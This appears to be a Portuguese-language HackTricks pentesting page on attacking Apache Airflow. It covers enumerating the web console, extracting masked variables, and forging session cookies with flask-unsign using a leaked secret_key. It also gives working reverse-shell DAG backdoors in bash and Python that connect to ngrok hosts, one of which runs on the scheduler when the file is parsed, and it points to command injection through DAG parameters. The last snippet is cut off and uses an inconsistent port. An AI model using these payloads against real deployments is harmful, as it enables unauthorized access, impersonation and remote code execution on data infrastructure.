Apache Airflow Security

Support HackTricks

Basic Information

Apache Airflow serve como uma plataforma para orquestrar e agendar pipelines de dados ou fluxos de trabalho. O termo "orquestração" no contexto de pipelines de dados significa o processo de organizar, coordenar e gerenciar fluxos de trabalho de dados complexos que se originam de várias fontes. O principal objetivo desses pipelines de dados orquestrados é fornecer conjuntos de dados processados e utilizáveis. Esses conjuntos de dados são amplamente utilizados por uma infinidade de aplicações, incluindo, mas não se limitando a ferramentas de inteligência de negócios, ciência de dados e modelos de aprendizado de máquina, todos os quais são fundamentais para o funcionamento de aplicações de big data.

Basicamente, o Apache Airflow permitirá que você agende a execução de código quando algo (evento, cron) acontecer.

Local Lab

Docker-Compose

Você pode usar o arquivo de configuração docker-compose de https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml para lançar um ambiente docker completo do apache airflow. (Se você estiver no MacOS, certifique-se de dar pelo menos 6GB de RAM para a VM do docker).

Minikube

Uma maneira fácil de executar o apache airflow é executá-lo com minikube:

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Configuração do Airflow

O Airflow pode armazenar informações sensíveis em sua configuração ou você pode encontrar configurações fracas em vigor:

Airflow Configuration

RBAC do Airflow

Antes de começar a atacar o Airflow, você deve entender como as permissões funcionam:

Airflow RBAC

Ataques

Enumeração do Console Web

Se você tiver acesso ao console web, pode ser capaz de acessar algumas ou todas as seguintes informações:

  • Variáveis (Informações sensíveis personalizadas podem ser armazenadas aqui)

  • Conexões (Informações sensíveis personalizadas podem ser armazenadas aqui)

  • Acesse-as em http://<airflow>/connection/list/

  • Configuração (Informações sensíveis como secret_key e senhas podem ser armazenadas aqui)

  • Liste usuários e funções

  • Código de cada DAG (que pode conter informações interessantes)

Recuperar Valores de Variáveis

As variáveis podem ser armazenadas no Airflow para que os DAGs possam acessar seus valores. É semelhante a segredos de outras plataformas. Se você tiver permissões suficientes, pode acessá-las na GUI em http://<airflow>/variable/list/. O Airflow, por padrão, mostrará o valor da variável na GUI, no entanto, de acordo com isso, é possível definir uma lista de variáveis cujo valor aparecerá como asteriscos na GUI.

No entanto, esses valores ainda podem ser recuperados via CLI (você precisa ter acesso ao DB), execução de DAG arbitrária, API acessando o endpoint de variáveis (a API precisa ser ativada) e até mesmo a própria GUI! Para acessar esses valores a partir da GUI, basta selecionar as variáveis que você deseja acessar e clicar em Ações -> Exportar. Outra maneira é realizar um bruteforce no valor oculto usando o filtro de pesquisa até obtê-lo:

Escalação de Privilégios

Se a configuração expose_config estiver definida como True, a partir da função Usuário e acima, pode-se ler a configuração na web. Nessa configuração, a secret_key aparece, o que significa que qualquer usuário com isso válido pode criar seu próprio cookie assinado para se passar por qualquer outra conta de usuário.

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

DAG Backdoor (RCE em trabalhador Airflow)

Se você tiver acesso de escrita ao local onde os DAGs são salvos, você pode simplesmente criar um que enviará para você um reverse shell. Observe que este reverse shell será executado dentro de um container de trabalhador airflow:

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

DAG Backdoor (RCE no agendador do Airflow)

Se você definir algo para ser executado na raiz do código, no momento da escrita deste texto, ele será executado pelo agendador após alguns segundos depois de colocá-lo dentro da pasta do DAG.

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

Criação de DAG

Se você conseguir comprometer uma máquina dentro do cluster DAG, pode criar novos scripts de DAG na pasta dags/ e eles serão replicados no restante das máquinas dentro do cluster DAG.

Injeção de Código em DAG

Quando você executa um DAG pela GUI, pode passar argumentos para ele. Portanto, se o DAG não estiver devidamente codificado, ele pode ser vulnerável a Injeção de Comando. Foi isso que aconteceu neste CVE: https://www.exploit-db.com/exploits/49927

Tudo o que você precisa saber para começar a procurar por injeções de comando em DAGs é que parâmetros são acessados com o código dag_run.conf.get("param_name").

Além disso, a mesma vulnerabilidade pode ocorrer com variáveis (note que com privilégios suficientes você poderia controlar o valor das variáveis na GUI). Variáveis são acessadas com:

from airflow.models import Variable
[...]
foo = Variable.get("foo")

Se eles forem usados, por exemplo, dentro de um comando bash, você pode realizar uma injeção de comando.

Support HackTricks

Last updated